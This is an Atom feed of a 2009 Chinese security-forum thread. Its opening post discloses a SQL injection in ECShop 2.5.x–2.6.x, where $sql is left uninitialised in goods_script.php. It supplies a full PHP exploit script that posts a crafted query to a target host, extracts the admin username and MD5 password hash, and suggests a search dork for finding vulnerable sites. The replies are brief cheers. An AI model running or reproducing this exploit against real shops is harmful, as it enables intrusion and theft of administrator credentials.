<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
	<title type="html"><![CDATA[Wolves Security Team - ECShop注射漏洞]]></title>
	<link rel="self" href="http://bbs.wolvez.org/feed/atom/topic/67/"/>
	<updated>2009-03-26T13:44:46Z</updated>
	<generator>PunBB</generator>
	<id>http://bbs.wolvez.org/topic/67/</id>
		<entry>
			<title type="html"><![CDATA[Re: ECShop注射漏洞]]></title>
			<link rel="alternate" href="http://bbs.wolvez.org/post/187/#p187"/>
			<content type="html"><![CDATA[<p>顶下~~:D:D:D</p>]]></content>
			<author>
				<name><![CDATA[toby57]]></name>
				<uri>http://bbs.wolvez.org/user/13/</uri>
			</author>
			<updated>2009-03-26T13:44:46Z</updated>
			<id>http://bbs.wolvez.org/post/187/#p187</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: ECShop注射漏洞]]></title>
			<link rel="alternate" href="http://bbs.wolvez.org/post/185/#p185"/>
			<content type="html"><![CDATA[<p>水贴路过为个纪念.</p>]]></content>
			<author>
				<name><![CDATA[q1ur3n]]></name>
				<uri>http://bbs.wolvez.org/user/4/</uri>
			</author>
			<updated>2009-03-24T16:42:12Z</updated>
			<id>http://bbs.wolvez.org/post/185/#p185</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: ECShop注射漏洞]]></title>
			<link rel="alternate" href="http://bbs.wolvez.org/post/184/#p184"/>
			<content type="html"><![CDATA[<p>膜拜下..</p>]]></content>
			<author>
				<name><![CDATA[jackal]]></name>
				<uri>http://bbs.wolvez.org/user/6/</uri>
			</author>
			<updated>2009-03-24T13:41:21Z</updated>
			<id>http://bbs.wolvez.org/post/184/#p184</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: ECShop注射漏洞]]></title>
			<link rel="alternate" href="http://bbs.wolvez.org/post/183/#p183"/>
			<content type="html"><![CDATA[<p>你终于发出来了...</p>]]></content>
			<author>
				<name><![CDATA[uk]]></name>
				<uri>http://bbs.wolvez.org/user/11/</uri>
			</author>
			<updated>2009-03-24T13:19:43Z</updated>
			<id>http://bbs.wolvez.org/post/183/#p183</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: ECShop注射漏洞]]></title>
			<link rel="alternate" href="http://bbs.wolvez.org/post/182/#p182"/>
			<content type="html"><![CDATA[<p>sql随便x啊，可惜要on才行啊。</p>]]></content>
			<author>
				<name><![CDATA[terrysco]]></name>
				<uri>http://bbs.wolvez.org/user/7/</uri>
			</author>
			<updated>2009-03-24T09:51:35Z</updated>
			<id>http://bbs.wolvez.org/post/182/#p182</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[ECShop注射漏洞]]></title>
			<link rel="alternate" href="http://bbs.wolvez.org/post/179/#p179"/>
			<content type="html"><![CDATA[<p>by Ryat<br /><a href="http://bbs.wolvez.org">http://bbs.wolvez.org</a><br />2009-03-24</p><p>影响2.5.x和2.6.x,其他版本未测试</p><p>goods_script.php44行:<br /></p><div class="codebox"><pre><code>    if (empty($_GET[&#039;type&#039;]))
    {
        ...
    }
    elseif ($_GET[&#039;type&#039;] == &#039;collection&#039;)
    {
        ...
    }
    $sql .= &quot; LIMIT &quot; . (!empty($_GET[&#039;goods_num&#039;]) ? intval($_GET[&#039;goods_num&#039;]) : 10);
    $res = $db-&gt;query($sql);</code></pre></div><p>$sql没有初始化,很明显的一个漏洞:)</p><p>EXP:<br /></p><div class="codebox"><pre><code>#!/usr/bin/php
&lt;?php

print_r(&#039;
+---------------------------------------------------------------------------+
ECShop &lt;= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: &quot;Powered by ECShop&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
 * works with register_globals = On
 */
if ($argc &lt; 3) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path
host:      target server (ip/hostname)
path:      path to ecshop
Example:
php &#039;.$argv[0].&#039; localhost /ecshop/
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match(&#039;#href=&quot;([\S]+):([a-z0-9]{32})&quot;#&#039;, $resp, $hash);

if ($hash)
    exit(&quot;Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n&quot;);
else
    exit(&quot;Exploit Failed!\n&quot;);

function send()
{
    global $host, $path;

    $cmd = &#039;sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x&#039;.bin2hex(&#039;all&#039;).&#039; LIMIT 1#&#039;;

    $data = &quot;POST &quot;.$path.&quot;goods_script.php?type=&quot;.time().&quot;  HTTP/1.1\r\n&quot;;
    $data .= &quot;Accept: */*\r\n&quot;;
    $data .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $data .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $data .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
    $data .= &quot;Host: $host\r\n&quot;;
    $data .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
    $data .= &quot;Connection: Close\r\n\r\n&quot;;
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?&gt;</code></pre></div>]]></content>
			<author>
				<name><![CDATA[puret_t]]></name>
				<uri>http://bbs.wolvez.org/user/2/</uri>
			</author>
			<updated>2009-03-24T03:00:00Z</updated>
			<id>http://bbs.wolvez.org/post/179/#p179</id>
		</entry>
</feed>
